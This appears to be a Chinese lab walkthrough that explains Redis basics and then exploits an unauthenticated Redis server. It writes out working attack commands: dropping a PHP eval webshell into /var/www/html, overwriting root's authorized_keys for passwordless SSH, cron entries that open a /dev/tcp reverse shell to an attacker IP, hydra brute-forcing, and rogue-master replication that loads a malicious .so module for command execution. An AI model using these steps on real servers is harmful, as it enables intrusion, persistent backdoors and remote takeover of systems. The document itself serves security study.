Redis
Redis 基础
Redis 全称 Remote Dictionary Server,是一个开源的,基于内存的键值对数据库
Redis 的数据是存储在内存中的,读写速度非常快,但是一旦掉电或进程崩溃,非持久化的数据会丢失
主从同步
这是 Redis 4.x 和 5.x 版本中一个关键的特性
单层树复制
在 Redis 中,有主服务器,负责所有的写操作,从服务器,只能进行读操作,从服务器可以作为中继站连接更多的从服务器
持久化
当从服务器为了同步数据进行全量复制时,会将主服务器发来的数据存储到磁盘,然后再加载进内存
这里如果主服务器的数据是恶意的,有可能将内存中给的恶意数据写到系统关键位置,或者覆盖原本的重要文件
发布与订阅
Redis 不仅是一个数据库,还是一个消息队列,主服务器上的数据变动,都会通过一个特殊的频道广播给从服务器,如果从服务器订阅了这个频道,就能实时拿到日志
如果网络没有加密,可以在内网获取到流量,得到写入数据库的数据
核心配置
Redis 的核心配置文件是 redis.conf
| 配置项 | 意义 |
|---|---|
bind $IP |
绑定 IP 地址,允许绑定多个 IP,如果设置为 0.0.0.0 则全网可以访问 |
port $6379 |
配置端口号,默认端口是 6379 |
requirepass $passwd |
后面加密码,这个是客户端连接 redis 服务器时使用的密码,默认是空的,没有密码即可连接 |
dir $path |
配置工作目录,redis 产生的备份文件都放在这里 |
dbfilename $name |
指定备份文件的名字,默认是 dump.rdb |
protected-mode |
默认为开启,开启之后禁止外部连接 |
Redis 安装
redis-3.2.0wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make #编译安装 sudo cp redis-cli /usr/bin sudo cp redis-server /usr/binRedis-4.0.8wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar xvf redis-4.0.8.tar.gz cd redis-4.0.8 make
192.168.154.130
Redis 漏洞
Redis 未授权访问
漏洞利用条件
- 服务关闭了
protected-mode- 服务不设置密码
- 服务对公网开放
修改配置中的模式和 ip 绑定,这里注释掉或者修改为 0.0.0.0 都可以


然后启动 redis
redis-server redis.conf

使用另一个访问
redis-cli -h 192.168.154.130

Redis 写入 webshell
漏洞利用条件
- 以高权限启动 Redis 服务
- Redis 有未授权访问
- 需要有 web 端服务,并且知道服务的默认路径
先在目标服务器启动一个 web 服务
/etc/init.d/apache2 start

然后启动 redis 服务,这里要用 root 用户启动,否则没有写入权限,在保存这一步会失败

攻击者连接 redis 服务,将恶意代码写入 web 服务器
// 设置路径
config set dir /var/www/html
// 设置写入文件名
config set dbfilename cmd.php
// 设置写入恶意代码,因为 redis 写文件时,会加入很多二进制信息,这里的换行符就是为了让 php 能够被解析
// 这里的 xxx 是一个键名,因为 redis 是一个键值对数据库
set xxx "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
// 这里会将内存中的键值对提取出来,安装指定格式写入磁盘文件,也就是 dbfilename 中
save

在 web 端就可以实现

Redis 密钥登录 ssh
漏洞利用条件
- Redis 有未授权访问
- 以高权限启动 Redis 服务
- 服务器启动了 ssh 服务
启动 ssh 服务

在攻击者处创建 ssh-rsa 密钥,这里的全部都不填,一直回车就行
ssh-keygen -t rsa

然后将这个公钥导入到一个文件中,这里加入换行符防止乱码

将生成的公钥写入到目标服务器的内容中
// -x 表示从标准输入读取数据作为这个命令的最后一个参数,也就是键值对的值
cat key.txt | redis-cli -h 192.168.154.130 -x set xxx

成功读取到这个数据

然后还是设置路径和文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
save

目标服务器也成功写入了

在攻击者这边使用 ssh 连接,发现成功了,无需密码登录
ssh -i id_rsa root@192.168.154.130

利用定时计划任务反弹 shell
漏洞利用条件
- Redis 有未授权访问
- 以高权限启动 Redis 服务
- 需要目标服务器的 linux 发行版支持
这里不同的 linux 发行版对定时任务的路径、文件名等都不同
| 操作系统类型 | Cron 路径 | 说明 |
|---|---|---|
CentOS / RHEL |
/var/spool/cron/ |
写入的是 root 文件,对文件格式比较宽松 |
Ubuntu / Debian |
/var/spool/cron/crontabs/ |
这里也是写入 root 文件 |
| 通用系统级路径 | /etc/crontab |
所有的 linux 系统都有这个文件,但是这里的格式有点不同 |
| 通用目录级路径 | /etc/cron.d/ |
这里可以随意命名文件 /etc/cron.d/shell,系统自动加载 |
这里先看看我的目标机的发行版
cat /etc/os-release

我这里都是使用的 Ubuntu,这个发行版好像无法成功执行这个漏洞,因为 Redis 写入的文件默认权限是 644,而现代的 cron 强制要求 600,所以无法执行
而且 RDB 文件写入的二进制会破坏定时任务的解析
sudo tail -f /var/log/syslog | grep cron

这里测试了两个地方写计划任务都失败了,可能 centos 成功率高一点
config set dir /etc/cron.d/
config set dbfilename shell
set xxx "\n\n\n* * * * * root /bin/bash -i >& /dev/tcp/172.19.132.154/1234 0>&1\n\n\n"
save
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n* * * * * root /bin/bash -i >& /dev/tcp/172.19.132.154/1234 0>&1\n\n\n"
save
// centos
config set dir /var/spool/cron/
config set dbfilename root
set xxx "\n\n\n* * * * * root /bin/bash -i >& /dev/tcp/172.19.132.154/1234 0>&1\n\n\n"
save
密码爆破
这个如果 Redis 配置了密码,那就没有未授权访问那么方便了,需要进行密码的爆破
判断一个服务有没有密码,连接后执行命令就会返回这个

在 redis-cli 中有两种认证的方式
使用
AUTH认证
连接时直接指定密码

如果不知道密码,就可以爆破,可以使用 hydra 工具,Redis 没有用户名,所以只要指定密码就行
hydra -P passwd.txt redis://192.168.154.130

远程主从同步 RCE
漏洞利用条件
- Redis 公网可以访问
- Redis 版本高于
4.x
这个利用的就是主从同步这个特性,并且 Redis 在 4.x 以后,加入了一个新的 module 功能,允许用户加载自己编写的 .so 文件来拓展 Redis 的指令
这里利用了一个工具 Testzero-wz/Awsome-Redis-Rogue-Server: Redis-Rogue-Server Implement
这个工具的原理是这样的,攻击者先连接上这个 Redis 服务,然后通过未授权执行主从复制命令,让目标服务器将攻击者作为主服务器,然后攻击者向目标提供恶意的 exp.so 文件,然后攻击者就可以利用这个执行命令了
这个工具需要编译 c 成一个
so文件,这里我在编译的时候会失败,问出来是少了两句#include <string.h> // 修复 strlen, strcat, memset, strcpy #include <arpa/inet.h> // 修复 inet_addr, htons
首先在目标机器打开一个 Redis 服务,然后攻击者执行这个脚本
python redis_rogue_server.py -rhost 192.168.154.130 -lhost 172.19.132.154
这里我没有用高权限打开 Redis 服务,所以只能进入 tmp 目录

这里成功加载了 .so 文件,这里最后可以选择模式,i 就是交互式的 shell,直接在这里执行命令,r 就是反弹 shell
下面是反弹 shell 模式下


这个工具也可以在目标有密码的时候使用,指定密码就哭呀,会自动发送一个 AUTH 包判断的
python redis_rogue_server.py -rhost 192.168.154.130 -lhost 172.19.132.154 -passwd admin
本地主从同步 RCE
前面执行的操作都是在公网可以访问这个 Redis 服务的情况下,如果这个服务只能在本地访问呢,我们如果可以通过类似 ssrf 或者其他漏洞进到本地,需要进行反弹 shell,就可以利用这个漏洞
先修改配置,只能本地访问

然后启动服务,在本地打开登录 Redis
攻击者在远程主服务器开启脚本,开启端口为 15000 的主服务器
python redis_rogue_server.py -v -path module.so

然后在目标服务器中配置,可以看到一开始是没有模块加载的

攻击者一直在同步数据

配置一下主从同步
// 配置写入路径,tmp 目录一般都可写
config set dir /tmp
// 设置名字
config dbfilename exp.so
// 进行主从同步,将恶意 so 文件写入到 tmp 目录
slaveof 172.19.132.154 15000
// 加载恶意 so 文件
module load ./exp.so
这里已经加载了模块了
这个工具的 so 文件的模块有两种执行的模式
RedisRuntime.exec:直接执行命令RedisRuntime.rev:用来反弹 shell


// 解除主从同步
slaveof NO ONE

参考: